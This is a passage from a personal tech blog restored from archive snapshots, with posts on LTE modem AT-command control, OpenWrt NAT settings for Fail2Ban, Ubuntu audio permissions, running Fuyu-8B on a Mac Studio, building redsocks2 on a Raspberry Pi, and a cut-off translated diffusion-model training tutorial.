来电号码、`+CMTI` 新短信)叫 URC,而这个配置说:URC 只发到 USB 的 AT 接口。 于是,通过 ADB 读 `/dev/smd7` 的程序**永远收不到来电通知**。你的代码没错,事件发到了另一扇门。 两个办法一起用:把 URC 端口改成 `"all"`(它是掉电保存的参数,先读再改,别每次启动都写);同时把轮询 `AT+CLCC` 和定期检查短信收件箱当作真正的事实来源,URC 只当"提醒你快去看一眼"。 ### `AT+CFUN=1,1` 会清空一切 这条命令重启模组。模组的 `/tmp` 是内存盘,重启后加载进去的语音驱动、校准标记、桥接进程全部消失,USB 也重新枚举一次。 结论是:任何"装一次就好了"的设计在这里都会失败。所有状态都必须做成每次检查、按需重建。这一条贯穿整个系列。 ## 这一篇的结论 | 直觉 | 实际 | |---|---| | 一个上网卡 | 一台跑着 Linux、带 root 调试口的 LTE 模组 | | 没有串口就没法控制 | `adb shell` 进去,走 `/dev/smd7` | | 拨通了就该有声音 | 声音要在模组内部另外搭一条路由 | | 来电会有提示 | 提示发到了你没在读的那个端口 | 下一篇把它插到树莓派上,让它开始干活:收发短信、管理 eSIM、给局域网共享 4G。 ## 全系列 1. [它到底是什么](/archives/4002) 2. [树莓派上的短信与 eSIM 网关](/archives/4003) 3. [从零实现 VoWiFi](/archives/4004) 4. [USB 话机、浏览器通话与 ESP32](/archives/4005) 5. [插在 Mac 上](/archives/4006) 6. [iPhone 客户端](/archives/4007) 7. [安卓平板直接驱动](/archives/4008) --- *这个系列是个人学习和技术研究记录。模组的语音驱动是 GPL 衍生物,不随项目分发,需要自行准备。请遵守所在地法律法规和运营商服务条款。* --- ## Finally, I am back Date: 2026-08-08 URL: https://blog.wo.ai/archives/4000 Categories: Life 服务器挂了,数据全丢了。写了二十年的博客,一夜之间没了。 还好有 archive.org。这个博客从 2005 年到 2025 年的 316 篇文章、147 张图片,都是从 Wayback Machine 的快照里一点点恢复回来的。旧的链接(`/archives/文章ID`)依然有效。 现在它是一个纯静态站点——没有数据库,没有后台,只有 Markdown 文件和 git。这次,它不会再丢了。 Finally, I am back. --- ## Preserving Original Client IP Addresses with OpenWrt Port Forwarding: A Fail2Ban Savior Date: 2025-06-04 URL: https://blog.wo.ai/archives/3497 If you want to read the Chinese version, move down to the Chinese Part, 本文包含中文版本,请移到后面的中文版本。 I run a self-hosted environment at home, including an Immich photo server and an SSH server, both happily residing on my local network (LAN). To access these services remotely, I configured port forwarding on my OpenWrt router. Initially, everything seemed to function flawlessly – I could access my services from anywhere. However, a peculiar issue soon surfaced: my SSH server began refusing connections. A dive into the auth.log and Nginx access logs revealed something unexpected. All incoming internet traffic, whether to SSH or Immich, appeared to originate from 192.168.x.x – the LAN IP address of my OpenWrt router itself! This became a critical problem because persistent SSH scanning attempts from the internet were, understandably, being flagged by Fail2Ban. The consequence? Fail2Ban banned the “offending” IP, which was my router, effectively severing access to _all_ my forwarded services for everyone, including myself. My troubleshooting journey involved extensive Googling and even consulting AI assistants, but these efforts proved fruitless. One AI suggestion was to install Nginx on the OpenWrt router itself to act as a reverse proxy. While a reverse proxy _can_ preserve client IPs (using headers like X-Forwarded-For), installing a full-fledged Nginx instance on a resource-constrained router solely for this felt like overkill and not the most direct solution. The breakthrough came from an unexpected source: an iStoreOS issue tracker. (For the uninitiated, iStoreOS is a popular OpenWrt fork). While the issue thread didn’t contain a step-by-step solution, the original poster mentioned resolving a similar problem by tweaking NAT rules to prevent source address translation. Given the shared lineage between OpenWrt and iStoreOS, I suspected this approach might be applicable. Armed with this clue, I navigated to my OpenWrt LuCI interface: **Network - > Firewall -> NAT Rules**. Here, I added a new rule with the following key parameters: [![](https://web.archive.org/web/2/https://blog.wo.ai/wp-content/uploads/2025/06/Screenshot-2025-06-04-at-6.40.19 PM-1024x582.png)](https://web.archive.org/web/2/https://blog.wo.ai/wp-content/uploads/2025/06/Screenshot-2025-06-04-at-6.40.19 PM.png) * **Action** : ACCEPT * **Crucially** : I enabled an option typically labeled something like “**Disable Source NAT** ” or “**Disable Address Rewrite** ” (the exact wording might vary slightly depending on your OpenWrt version/theme, but the intent is to prevent the router from rewriting the source IP address of the incoming packets). _(Self-correction: More accurately, the typical OpenWrt port forward is a DNAT rule. The issue is that an overly broad SNAT/Masquerade rule might be applying to this forwarded traffic. The key is to ensure that for these specific port-forwarded connections, SNAT is not performed, allowing the original source IP to pass through to the internal server. The “Disable Source NAT” option is often available directly within the port forward (DNAT) rule definition itself, or a specific “NO SNAT” rule needs to be crafted)._ The result? **Success!** Immediately after applying and saving this NAT rule, my server logs began showing the _actual_ public IP addresses of external visitors. Most importantly, Fail2Ban could now accurately identify and ban malicious external IPs without inadvertently blacklisting my entire home network via the router’s IP. **Why this works (The Geeky Bit):** Standard port forwarding involves Destination NAT (DNAT), where the router changes the destination IP of an incoming packet (from its public WAN IP to your internal server’s LAN IP). However, many default OpenWrt setups also apply Source NAT (SNAT) or Masquerading for traffic passing through it, especially from LAN to WAN. In some configurations, this SNAT can also incorrectly get applied to WAN-to-LAN forwarded traffic, replacing the original client’s IP with the router’s LAN IP before the packet reaches your internal server. The “Disable Source NAT” or “Disable Address Rewrite” option for the relevant traffic flow instructs OpenWrt’s netfilter firewall to _not_ perform this source IP alteration for packets destined for your forwarded ports. This allows your internal services to see the true originating IP, essential for accurate logging, geolocation, and security tools like Fail2Ban. If you’re facing a similar issue where your internal services behind an OpenWrt router only see the router’s IP for external connections, diving into your NAT rules and looking for an option to prevent source address translation on your port forwards might just be the elegant solution you need. * * * Following is the Chinese part(中文版本) OpenWrt 端口转发:保留原始客户端 IP,解决 Fail2Ban 困境 我在家中搭建了一套自托管服务环境,包括一个 Immich 照片服务器和一个 SSH 服务器,它们都安稳地运行在我的本地网络(LAN)中。为了能够远程访问这些服务,我在我的 OpenWrt 路由器上配置了端口转发。起初,一切似乎都完美无缺——我可以从任何地方访问我的服务。 然而,一个奇怪的问题很快浮出水面:我的 SSH 服务器开始拒绝连接。深入查看 auth.log 和 Nginx 的访问日志后,我发现了一些出乎意料的情况。所有来自互联网的访问流量,无论是到 SSH还是 Immich,都显示其源 IP 地址为 192.168.x.x——这正是我 OpenWrt 路由器的局域网 IP 地址!这是一个严重的问题,因为来自互联网的持续性 SSH 扫描尝试,理所当然地被 Fail2Ban 标记了。结果呢?Fail2Ban 封禁了这个“违规”的 IP,也就是我的路由器,从而有效地切断了所有人(包括我自己)对我所有转发服务的访问。 我的故障排除过程包括了大量的谷歌搜索,甚至咨询了 AI 助手,但这些努力都未能奏效。一个 AI 给出的建议是在 OpenWrt 路由器上安装 Nginx 作为反向代理。虽然反向代理 _确实_ 可以通过 X-Forwarded-For 之类的头部信息来保留客户端 IP,但在资源受限的路由器上仅仅为此目的安装一个完整的 Nginx 实例,感觉有些小题大做,也不是最直接的解决方案。 转机来自一个意想不到的地方:一个 iStoreOS 的问题追踪器。(对于不熟悉的人来说,iStoreOS 是一个流行的 OpenWrt 分支)。虽然那个问题帖子里没有包含手把手的解决方案,但原帖主提到他通过调整 NAT 规则,阻止了源地址转换,从而解决了类似问题。考虑到 OpenWrt 和 iStoreOS 之间的同源关系,我猜测这种方法可能也适用。 带着这条线索,我进入了我的 OpenWrt LuCI 管理界面:**网络 (Network) - > 防火墙 (Firewall) -> NAT 规则 (NAT Rules)**。 在这里,我添加了一条新的规则,关键参数如下: [![](https://web.archive.org/web/2/https://blog.wo.ai/wp-content/uploads/2025/06/Screenshot-2025-06-04-at-6.40.19 PM-1024x582.png)](https://web.archive.org/web/2/https://blog.wo.ai/wp-content/uploads/2025/06/Screenshot-2025-06-04-at-6.40.19 PM.png) * **动作 (Action)** : ACCEPT * **至关重要的一点** :我启用了通常标记为“**禁用源 NAT (Disable Source NAT)** ”或“**禁用地址重写 (Disable Address Rewrite)** ”之类的选项(具体措辞可能因您的 OpenWrt 版本/主题而略有不同,但其目的是阻止路由器重写传入数据包的源 IP 地址)。 _(自我修正:更准确地说,典型的 OpenWrt 端口转发是一条 DNAT 规则。问题在于,一个过于宽泛的 SNAT/Masquerade 规则可能也应用到了这些转发流量上。关键在于确保对于这些特定的端口转发连接,不执行 SNAT,从而允许原始源 IP 传递到内部服务器。“禁用源 NAT”选项通常可以直接在端口转发(DNAT)规则定义中找到,或者需要创建一个特定的“NO SNAT”规则。)_ 结果呢?**成功了!** 在应用并保存这条 NAT 规则后,我的服务器日志立即开始显示外部访问者 _真实_ 的公网 IP 地址。最重要的是,Fail2Ban 现在可以准确识别并封禁恶意的外部 IP,而不会通过路由器的 IP 无意中将我的整个家庭网络列入黑名单。 **为何有效(技术解读):** 标准的端口转发涉及目标网络地址转换 (DNAT),路由器会将传入数据包的目标 IP(从其公网 WAN IP)更改为您内部服务器的 LAN IP。然而,许多默认的 OpenWrt 设置也会对通过它的流量(尤其是从 LAN 到 WAN 的流量)应用源网络地址转换 (SNAT) 或 IP 伪装 (Masquerading)。在某些配置下,这种 SNAT 也可能错误地应用于 WAN 到 LAN 的转发流量,在数据包到达您的内部服务器之前,将原始客户端的 IP 替换为路由器的 LAN IP。 针对相关流量的“禁用源 NAT”或“禁用地址重写”选项,会指示 OpenWrt 的 netfilter 防火墙 _不要_ 对发往您转发端口的数据包执行这种源 IP 地址变更。这使得您的内部服务能够看到真实的原始 IP,这对于准确的日志记录、地理位置定位以及像 Fail2Ban 这样的安全工具至关重要。 如果您也遇到类似的问题,即 OpenWrt 路由器后的内部服务对于外部连接只看得到路由器的 IP,那么深入研究您的 NAT 规则,寻找一个选项来阻止对端口转发流量进行源地址转换,或许正是您需要的那个优雅的解决方案。 * * * #OpenWrt Fail2Ban bans router IP #OpenWrt server sees router IP #OpenWrt logs show router IP #Fix OpenWrt port forward IP #SSH server behind OpenWrt shows router IP #Nginx behind OpenWrt shows router IP #OpenWrt hide client IP --- ## play mp3 on ubuntu cli – sound card not detecting Date: 2025-04-08 URL: https://blog.wo.ai/archives/3494 Categories: Technology When I was trying play mp3 files on ubuntu with cli tools, like mp123, there was no sound. And I tried when I logged into gnome, there was sound. I googled, there were lots of ways, but none works for me. Then I got this from this page: , the reason is current user has no right or not in the audio group. sudo apt-get update sudo apt-get –reinstall install pavucontrol linux-sound-base alsa-base alsa-utils libasound2 sudo usermod -aG $(grep -e ‘^pulse:’ -e ‘^audio:’ -e \ ‘^pulse-access:’ -e ‘^pulse-rt:’ -e ‘^video:’ /etc/group \ | awk -F: ‘{print $1}’ \ | tr ‘\n’ ‘,’ \ | sed ‘s:,$::g’) $(whoami) Da~da, it works. Hope it good for you. --- ## AI on Mac Studio – 1: Running fuyu-8B on mac studio Date: 2023-11-01 URL: https://blog.wo.ai/archives/3473 Categories: AI, Technology This is the first article about running an AI model on Mac Studio, and I will continue to migrate the environment from CUDA / Nvidia GPU to Mac MPS. Why did I choose Mac Studio? I chose Mac Studio because it is less expensive. It has 192GB of memory that can be used as a GPU. This means that it is possible to migrate the program from Nvidia GPU and save some money for personal use. What is Fuyu-8B? We are releasing Fuyu-8B, a small version of the multimodal model that powers our product. The model is available on HuggingFace. We think Fuyu-8B is exciting because: 1. It has a much simpler architecture and training procedure than other multimodal models, making it easier to understand, scale, and deploy. 2. It is designed from the ground up for digital agents, so it can support arbitrary image resolutions, answer questions about graphs and diagrams, answer UI-based questions, and perform fine-grained localization on screen images. 3. It is fast – we can get responses for large images in less than 100 milliseconds. 4. Despite being optimized for our use case, it performs well at standard image understanding benchmarks such as visual question-answering and natural-image-captioning. Ok, let’s do it now. Prepare the environment: 1. You need Python 3.6+ and virtualenv installed. Conda or venv also work. cssCopy code `virtualenv -p python3 py3` 2. Download the HuggingFace transformers and clone the transformer from GitHub. bashCopy code `git clone https://github.com/huggingface/transformers.git cd transformers pip install .` 3. Download the model from . You can use clone or download it manually, depending on your network speed. 4. Install PyTorch from this page depending on your environment. Since I am using Mac M2 Studio, I should install this: Copy code `pip3 install torch torchvision torchaudio` 5. You are almost done here; now we can start the samples. Sample 1: from transformers import FuyuProcessor, FuyuForCausalLM from PIL import Image # load model and processor model_id = "." processor = FuyuProcessor.from_pretrained(model_id) model = FuyuForCausalLM.from_pretrained(model_id, device_map="mps", torch_dtype=torch.float16) # prepare inputs for the model text_prompt = "Generate a coco-style caption.\n" image_path = "bus.png"  # https://huggingface.co/adept-hf-collab/fuyu-8b/blob/main/bus.png image = Image.open(image_path) inputs = processor(text=text_prompt, images=image, return_tensors="pt") for k, v in inputs.items():     inputs[k] = v.to("mps") # autoregressively generate text generation_output = model.generate(**inputs, max_new_tokens=7) generation_text = processor.batch_decode(generation_output[:, -7:], skip_special_tokens=True) print(generation_text) Sample 2: import os from transformers import FuyuProcessor, FuyuForCausalLM from PIL import Image import torch def list_files_in_directory(path, extensions=[".png", ".jpeg", ".jpg", ".JPG", ".PNG", ".JPEG"]):     files = [f for f in os.listdir(path) if os.path.isfile(os.path.join(path, f)) and any(f.endswith(ext) for ext in extensions)]     return files def main():     # load model and processor     model_id = "." #adept/fuyu-8b"     processor = FuyuProcessor.from_pretrained(model_id)     model = FuyuForCausalLM.from_pretrained(model_id, device_map="mps", torch_dtype=torch.float16) # To solve OOM, float16 enables operation with only 24GB of VRAM. Alternatively float16 can be replaced with bfloat16 with differences in loading time and inference time.     # Load last image path or ask user     try:         with open("last_path.txt", "r") as f:             last_path = f.read().strip()         user_input = input(f"Do you want to use the last path '{last_path}'? (yes/no, default yes): ")         if not user_input or user_input.lower() != 'no':             last_path = last_path         else:             raise ValueError("User chose to input a new path.")     except:         last_path = input("Please provide the image directory path: ")         with open("last_path.txt", "w") as f:             f.write(last_path)     while True:         # List the first 10 images in the directory         images = list_files_in_directory(last_path)[:10]         for idx, image in enumerate(images, start=1):             print(f"{idx}. {image}")         # Allow the user to select an image         image_choice = input(f"Choose an image (1-{len(images)}) or enter its name: ")         try:             idx = int(image_choice)             image_path = os.path.join(last_path, images[idx-1])         except ValueError:             image_path = os.path.join(last_path, image_choice)         try:             image = Image.open(image_path)         except:             print("Cannot open the image. Please check the path and try again.")             continue         questions = [             "Generate a coco-style caption.",             "What color is the object?",             "Describe the scene.",             "Describe the facial expression of the character.",             "Tell me about the story from the image.",             "Enter your own question"         ]         # Asking the user to select a question from list, or select to input one         for idx, q in enumerate(questions, start=1):             print(f"{idx}. {q}")         q_choice = int(input("Choose a question or enter your own: "))         if q_choice <= 5:             text_prompt = questions[q_choice-1] + '\n'         else:             text_prompt = input("Please enter your question: ") + '\n'         while True: # To enable the user to ask further question about an image             inputs = processor(text=text_prompt, images=image, return_tensors="pt")             for k, v in inputs.items():                 inputs[k] = v.to("mps")             # To eliminate attention_mask warning             inputs["attention_mask"] = torch.ones(inputs["input_ids"].shape, device="mps")             generation_output = model.generate(**inputs, max_new_tokens=50, pad_token_id=model.config.eos_token_id)             generation_text = processor.batch_decode(generation_output[:, -50:], skip_special_tokens=True)             print("Answer:", generation_text[0])             text_prompt = input("Ask another question about the same image or type '/exit' to exit: ") + '\n'             if text_prompt.strip() == '/exit':                 break #if name == "main": main() [![](https://web.archive.org/web/2/https://blog.wo.ai/wp-content/uploads/2023/11/download-27.jpeg)](https://web.archive.org/web/2/https://blog.wo.ai/wp-content/uploads/2023/11/download-27.jpeg) [![](https://web.archive.org/web/2/https://blog.wo.ai/wp-content/uploads/2023/11/Screenshot-2023-11-01-at-6.46.12 PM-1024x507.png)](https://web.archive.org/web/2/https://blog.wo.ai/wp-content/uploads/2023/11/Screenshot-2023-11-01-at-6.46.12 PM.png) yes, It is Chinese. But not the Chinese fuyu-7b knows. It is not “食” (eating) , but “我不想洗碗”( i don’t want to wash the dishes). Fuyu-7b is lying. lol. --- ## redsocks升级记录 Date: 2023-10-18 URL: https://blog.wo.ai/archives/3470 Categories: Raspberry Pi, Technology 一直在用redsocks做流量转发,用着还是挺不错的,但是偶尔还是会hang住,导致网络卡住。老早就有升级的想法,一直没有动手。 什么是redsocks? This tool allows you to redirect any TCP connection to SOCKS or HTTPS proxy using your firewall, so redirection may be system-wide or network-wide. When is redsocks useful? * you want to route part of TCP traffic via OpenSSH `DynamicForward` Socks5 port using firewall policies. That was original redsocks development goal; * you use DVB ISP and this ISP provides internet connectivity with some special daemon that may be also called “Internet accelerator” and the accelerator acts as a proxy and has no “transparent proxy” feature and you need it. Globax was an example of alike accelerator, but Globax 5 has transparent proxy feature. That was the second redsocks` development goal; * you have to pass traffic through proxy due to corporate network limitation. That was never a goal for redsocks, but users have reported success with some proxy configurations. 以上是官方介绍。功能确实很强大,毕竟是俄国大佬的作品,继承了俄国产品强大而又粗糙的刻板印象。翻了他的repo,发现最后更新是2019年,而且还是改typo,其他的issue没有回复,大概大佬也不打算维护了吧。找了好久替代,发现了它的一个fork,似乎改了不少东西,就拖下来试试看吧。运行了一晚上,稳定性似乎还不错。 github地址 https://github.com/semigodking/redsocks 该repo依赖openssl和libevent2,libevent2在树莓派的repo中没有了,所以只能现编译。 现在把安装过程记录一下(仅限Raspberry Pi): #安装openssl开发包 sudo apt install libssl-dev #获取代码 wget https://github.com/libevent/libevent/releases/download/release-2.1.12-stable/libevent-2.1.12-stable.tar.gz tar xvfz libevent-2.1.12-stable.tar.gz cd libevent-2.1.12-stable 编译、安装 make sudo make install #克隆redsocks2的代码 git clone https://github.com/semigodking/redsocks cd redsocks make DISABLE_SHADOWSOCKS=1 ENABLE_STATIC=1 编译完,修改之前redsocks的配置文件、替换redsocks文件,重启服务即可。 目前暂时稳定。 --- ## 訓練diffusion模型 Date: 2023-08-25 URL: https://blog.wo.ai/archives/3467 Categories: AI, Technology # 訓練擴散模型 無條件圖像生成是擴散模型的一種流行應用,它生成的圖像與用於訓練的數據集中的圖像相似。通常,最好的結果是通過在特定數據集上微調預訓練模型來獲得的。您可以在 Hub 上找到許多這樣的檢查點,但如果您找不到您喜歡的檢查點,您可以隨時訓練自己的檢查點! 本教程將教您如何在 Smithsonian Butterflies 數據集的子集上從頭開始訓練 UNet2DModel,以生成您自己的 🦋 蝴蝶 🦋。 💡 本培訓教程基於 🧨 擴散器筆記本進行培訓。有關擴散模型的更多詳細信息和背景(例如它們的工作原理),請查看筆記本! 在開始之前,請確保您安裝了🤗數據集來加載和預處理圖像數據集,並安裝了🤗加速,以簡化在任意數量的 GPU 上的訓練。以下命令還將安裝 TensorBoard 以可視化訓練指標(您還可以使用權重和偏差來跟踪您的訓練)。 我們鼓勵您與社區分享您的模型,為此,您需要登錄您的 Hugging Face 帳戶(如果您還沒有帳戶,請在此處創建一個!)。您可以從筆記本登錄並在出現提示時輸入您的令牌: Copied>>> from huggingface_hub import notebook_login >>> notebook_login() 或者從終端登錄: Copiedhuggingface-cli login 由於模型檢查點非常大,因此安裝 Git-LFS 來對這些大文件進行版本控制: Copied!sudo apt -qq install git-lfs !git config –global credential.helper store ## 訓練配置 為了方便起見,創建一個包含訓練超參數的 `TrainingConfig` 類(隨意調整它們): Copied>>> from dataclasses import dataclass >>> @dataclass … class TrainingConfig: … image_size = 128 _# the generated image resolution_ … train_batch_size = 16 … eval_batch_size = 16 _# how many images to sample during evaluation_ … num_epochs = 50 … gradient_accumulation_steps = 1 … learning_rate = 1e-4 … lr_warmup_steps = 500 … save_image_epochs = 10 … save_model_epochs = 30 … mixed_precision = “fp16” _# `no` for float32, `fp16` for automatic mixed precision_ … output_dir = “ddpm-butterflies-128” _# the model name locally and on the HF Hub_ … push_to_hub = True _# whether to upload the saved model to the HF Hub_ … hub_private_repo = False … overwrite_output_dir = True _# overwrite the old model when re-running the notebook_ … seed = 0 >>> config = TrainingConfig() ## 加載數據集 您可以使用 🤗 數據集庫輕鬆加載史密森尼蝴蝶數據集: Copied>>> from datasets import load_dataset >>> config.dataset_name = “huggan/smithsonian_butterflies_subset” >>> dataset = load_dataset(config.dataset_name, split=”train”) 💡 您可以從 HugGan 社區活動中找到其他數據集,也可以通過創建本地 `ImageFolder` 來使用自己的數據集。如果數據集來自 HugGan 社區活動,則將 `config.dataset_name` 設置為數據集的存儲庫 ID;如果您使用自己的圖像,則將 `imagefolder` 設置為。 🤗 Datasets 使用 Image 功能自動解碼圖像數據並將其加載為我們可以可視化的 `PIL.Image` : Copied>>> import matplotlib.pyplot as plt >>> fig, axs = plt.subplots(1, 4, figsize=(16, 4)) >>> for i, image in enumerate(dataset[:4][“image”]): … axs[i].imshow(image) … axs[i].set_axis_off() >>> fig.show() ![](https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/diffusers/butterflies_ds.png) 不過,這些圖像的尺寸各不相同,因此您需要先對它們進行預處理: * `Resize` 將圖像大小更改為 `config.image_size` 中定義的大小。 * `RandomHorizontalFlip` 通過隨機鏡像圖像來擴充數據集。 * `Normalize` 對於將像素值重新縮放到 [-1, 1] 範圍非常重要,這是模型所期望的。 Copied>>> from torchvision import transforms >>> preprocess = transforms.Compose( … [ … transforms.Resize((config.image_size, config.image_size)), … transforms.RandomHorizontalFlip(), … transforms.ToTensor(), … transforms.Normalize([0.5], [0.5]), … ] … ) 使用 🤗 數據集的 set_transform 方法在訓練期間動態應用 `preprocess` 函數: Copied>>> def transform(examples): … images = [preprocess(image.convert(“RGB”)) for image in examples[“image”]] … return {“images”: images} >>> dataset.set_transform(transform) 請隨意再次可視化圖像以確認它們已調整大小。現在您已準備好將數據集包裝在 DataLoader 中進行訓練! Copied>>> import torch >>> train_dataloader = torch.utils.data.DataLoader(dataset, batch_size=config.train_batch_size, shuffle=True) ## 創建 UNet2D 模型 🧨 Diffusers 中的預訓練模型可以使用您想要的參數輕鬆地從其模型類創建。例如,要創建 UNet2DModel: Copied>>> from diffusers import UNet2DModel >>> model = UNet2DModel( … sample_size=config.image_size, _# the target image resolution_ … in_channels=3, _# the number of input channels, 3 for RGB images_ … out_channels=3, _# the number of output channels_ … layers_per_block=2, _# how many ResNet layers to use per UNet block_ … block_out_channels=(128, 128, 256, 256, 512, 512), _# the number of output channels for each UNet block_ … down_block_types=( … “DownBlock2D”, _# a regular ResNet downsampling block_ … “DownBlock2D”, … “DownBlock2D”, … “DownBlock2D”, … “AttnDownBlock2D”, _# a ResNet downsampling block with spatial self-attention_ … “DownBlock2D”, … ), … up_block_types=( … “UpBlock2D”, _# a regular ResNet upsampling block_ … “AttnUpBlock2D”, _# a ResNet upsampling block with spatial self-attention_ … “UpBlock2D”, … “UpBlock2D”, … “UpBlock2D”, … “UpBlock2D”, … ), … ) 快速檢查樣本圖像形狀與模型輸出形狀是否匹配通常是個好主意: Copied>>> sample_image = dataset[0][“images”].unsqueeze(0) >>> print(“Input shape:”, sample_image.shape) Input shape: torch.Size([1, 3, 128, 128]) >>> print(“Output shape:”, model(sample_image, timestep=0).sample.shape) Output shape: torch.Size([1, 3, 128, 128]) 偉大的!接下來,您需要一個調度程序來向圖像添加一些噪聲。 ## 創建調度程序 根據您使用模型進行訓練還是推理,調度程序的行為會有所不同。在推理過程中,調度器根據噪聲生成圖像。在訓練期間,調度程序從擴散過程中的特定點獲取模型輸出(或樣本),並根據噪聲調度和更新規則將噪聲應用於圖像。 讓我們看一下 DDPMScheduler,並使用 `add_noise` 方法向之前的 `sample_image` 添加一些隨機噪聲: Copied>>> import torch >>> from PIL import Image >>> from diffusers import DDPMScheduler >>> noise_scheduler = DDPMScheduler(num_train_timesteps=1000) >>> noise = torch.randn(sample_image.shape) >>> timesteps = torch.LongTensor([50]) >>> noisy_image = noise_scheduler.add_noise(sample_image, noise, timesteps) >>> Image.fromarray(((noisy_image.permute(0, 2, 3, 1) + 1.0) * 127.5).type(torch.uint8).numpy()[0]) ![](https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/diffusers/noisy_butterfly.png) 模型的訓練目標是預測添加到圖像中的噪聲。這一步的損失可以通過下式計算: Copied>>> import torch.nn.functional as F >>> noise_pred = model(noisy_image, timesteps).sample >>> loss = F.mse_loss(noise_pred, noise) ## 訓練模型 到目前為止,您已經掌握了開始訓練模型的大部分內容,剩下的就是將所有內容組合在一起。 首先,您需要一個優化器和一個學習率調度器: Copied>>> from diffusers.optimization import get_cosine_schedule_with_warmup >>> optimizer = torch.optim.AdamW(model.parameters(), lr=config.learning_rate) >>> lr_scheduler = get_cosine_schedule_with_warmup( … optimizer=optimizer, … num_warmup_steps=config.lr_warmup_steps, … num_training_steps=(len(train_dataloader) * config.num_epochs), … ) 然後,您需要一種評估模型的方法。為了進行評估,您可以使用 DDPMPipeline 生成一批樣本圖像並將其保存為網格: Copied>>> from diffusers import DDPMPipeline >>> from diffusers.utils import make_image_grid >>> import math >>> import os >>> def evaluate(config, epoch, pipeline): … _# Sample some images from random noise (this is the backward diffusion process)._ … _# The default pipeline output type is `List[PIL.Image]`_ … images = pipeline( … batch_size=config.eval_batch_size, … generator=torch.manual_seed(config.seed), … ).images … _# Make a grid out of the images_ … image_grid = make_image_grid(images, rows=4, cols=4) … _# Save the images_ … test_dir = os.path.join(config.output_dir, “samples”) … os.makedirs(test_dir, exist_ok=True) … image_grid.save(f”{test_dir}/{epoch:04d}.png”) 現在,您可以使用 🤗 Accelerate 將所有這些組件包裝在一個訓練循環中,以輕鬆進行 TensorBoard 日誌記錄、梯度累積和混合精度訓練。要將模型上傳到 Hub,請編寫一個函數來獲取存儲庫名稱和信息,然後將其推送到 Hub。 💡 下面的訓練循環可能看起來令人生畏且漫長,但是當您僅用一行代碼啟動訓練時,這一切都是值得的!如果您迫不及待地想要開始生成圖像,請隨意複製並運行下面的代碼。您可以隨時返回並更仔細地檢查訓練循環,例如當您等待模型完成訓練時。 🤗 Copied>>> from accelerate import Accelerator >>> from huggingface_hub import HfFolder, Repository, whoami >>> from tqdm.auto import tqdm >>> from pathlib import Path >>> import os >>> def get_full_repo_name(model_id: str, organization: str = None, token: str = None): … if token is None: … token = HfFolder.get_token() … if organization is None: … username = whoami(token)[“name”] … return f”{username}/{model_id}” … else: … return f”{organization}/{model_id}” >>> def train_loop(config, model, noise_scheduler, optimizer, train_dataloader, lr_scheduler): … _# Initialize accelerator and tensorboard logging_ … accelerator = Accelerator( … mixed_precision=config.mixed_precision, … gradient_accumulation_steps=config.gradient_accumulation_steps, … log_with=”tensorboard”, … project_dir=os.path.join(config.output_dir, “logs”), … ) … if accelerator.is_main_process: … if config.push_to_hub: … repo_name = get_full_repo_name(Path(config.output_dir).name) … repo = Repository(config.output_dir, clone_from=repo_name) … elif config.output_dir is not None: … os.makedirs(config.output_dir, exist_ok=True) … accelerator.init_trackers(“train_example”) … _# Prepare everything_ … _# There is no specific order to remember, you just need to unpack the_ … _# objects in the same order you gave them to the prepare method._ … model, optimizer, train_dataloader, lr_scheduler = accelerator.prepare( … model, optimizer, train_dataloader, lr_scheduler … ) … global_step = 0 … _# Now you train the model_ … for epoch in range(config.num_epochs): … progress_bar = tqdm(total=len(train_dataloader), disable=not accelerator.is_local_main_process) … progress_bar.set_description(f”Epoch {epoch}”) … for step, batch in enumerate(train_dataloader): … clean_images = batch[“images”] … _# Sample noise to add to the images_ … noise = torch.randn(clean_images.shape).to(clean_images.device) … bs = clean_images.shape[0] … _# Sample a random timestep for each image_ … timesteps = torch.randint( … 0, noise_scheduler.config.num_train_timesteps, (bs,), device=clean_images.device … ).long() … _# Add noise to the clean images according to the noise magnitude at each timestep_ … _# (this is the forward diffusion process)_ … noisy_images = noise_scheduler.add_noise(clean_images, noise, timesteps) … with accelerator.accumulate(model): … _# Predict the noise residual_ … noise_pred = model(noisy_images, timesteps, return_dict=False)[0] … loss = F.mse_loss(noise_pred, noise) … accelerator.backward(loss) … accelerator.clip_grad_norm_(model.parameters(), 1.0) … optimizer.step() … lr_scheduler.step() … optimizer.zero_grad() … progress_bar.update(1) … logs = {“loss”: loss.detach().item(), “lr”: lr_scheduler.get_last_lr()[0], “step”: global_step} … progress_bar.set_postfix(**logs) … accelerator.log(logs, step=global_step) … global_step += 1 … _# After each epoch you optionally sample some demo images with evaluate() and save the model_ … if accelerator.is_main_process: … pipeline = DDPMPipeline(unet=accelerator.unwrap_model(model), scheduler=noise_scheduler) … if (epoch + 1) % config.save_image_epochs == 0 or epoch == config.num_epochs – 1: … evaluate(config, epoch, pipeline) … if (epoch + 1) % config.save_model_epochs == 0 or epoch == config.num_epochs – 1: … if config.push_to_hub: … repo.push_to_hub(commit_message=f”Epoch {epoch}”, blocking=True) … else: … pipeline.save_pretrained(config.output_dir) 唷,那是相當多的代碼!但您終於準備好使用 🤗 Accelerate 的 notebook_launcher 函數啟動訓練了。向函數傳遞訓練循環、所有訓練參數和進程數(您可以將此值更改為可用的 GPU 數量)以用於訓練: Copied>>> from accelerate import notebook_launcher >>> args = (config, model, noise_scheduler, optimizer, train_dataloader, lr_scheduler) >>> notebook_launcher(train_loop, args, num_processes=1) 訓練完成後,查看擴散模型生成的最終 🦋 圖像 🦋! Copied>>> import glob >>> sample_images = sorted(glob.glob(f”{config.output_dir}/samples/*.png”)) >>> Image.open(sample_images[-1]) ![](https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/diffusers/butterflies_final.png) ## 下一步 無條件圖像生成是可訓練任務的一個示例。您可以訪問🧨 擴散器培訓示例頁面來探索其他任務和培訓技術。以下是您可以學到的一些示例: * 文本反轉,一種向模型傳授特定視覺概念並將其集成到生成圖像中的算法。 * DreamBooth,一種在給定主題的多個輸入圖像的情況下生成主題的個性化圖像的技術。 * 在您自己的數據集上微調穩定擴散模型的指南。 * LoRA 使用指南,這是一種內存高效技術,可以更快地微調大型模型。 --- ## 如何訓練穩定的擴散模型:初學者指南 Date: 2023-08-20 URL: https://blog.wo.ai/archives/3465 Categories: AI, Technology _掌握訓練穩定擴散模型的基礎知識。通過簡單的分步說明,我們將立即將初學者轉變為自信的模型訓練師。一起來學習吧!_ 近年來,人工智能 (AI) 和機器學習 (ML) 